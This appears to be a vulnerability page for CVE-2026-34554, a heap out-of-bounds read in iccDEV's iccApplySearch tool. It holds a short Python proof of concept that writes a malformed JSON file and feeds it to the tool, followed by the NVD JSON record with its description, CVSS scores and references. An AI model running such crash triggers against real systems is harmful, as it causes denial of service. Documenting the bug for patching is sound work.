CVE-2026-34554

import json import subprocess # PoC for CVE-2026-34554 # Generating malformed JSON to trigger HBO in iccApplySearch malformed_json = '{"search": ' + 'A'*1000 + '}' # Save to file with open('malformed_config.json', 'w') as f: f.write(malformed_json) # Execute iccApplySearch with the malicious file # This attempts to trigger the buffer overflow in costFunc() try: subprocess.run(['iccApplySearch', 'malformed_config.json'], check=True) except Exception as e: print(f"Exploitation attempt triggered an exception: {e}")

{"cve": {"id": "CVE-2026-34554", "sourceIdentifier": "[email protected]", "published": "2026-03-31T23:17:10.640", "lastModified": "2026-04-20T14:37:03.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools for working with ICC color management profiles. Prior to version 2.3.1.6, a heap-buffer-overflow (HBO) in CIccApplyCmmSearch::costFunc() can be triggered via malformed JSON configuration input to the iccApplySearch tool. AddressSanitizer reports an out-of-bounds READ of size 8 originating from CIccApplyCmmSearch::costFunc(CIccSearchVec&) at IccProfLib/IccCmmSearch.cpp:112:5. This issue has been patched in version 2.3.1.6."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas para trabajar con perfiles de gestión de color ICC. Antes de la versión 2.3.1.6, un desbordamiento de búfer de montón (HBO) en CIccApplyCmmSearch::costFunc() puede ser activado a través de una entrada de configuración JSON malformada en la herramienta iccApplySearch. AddressSanitizer informa una LECTURA fuera de límites de tamaño 8 originada en CIccApplyCmmSearch::costFunc(CIccSearchVec&) en IccProfLib/IccCmmSearch.cpp:112:5. Este problema ha sido parcheado en la versión 2.3.1.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.6", "matchCriteriaId": "DE133F29-9592-4669-8B76-9F7C88EFE17D"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/700", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/pull/738", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-hqc7-5pgc-9672", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}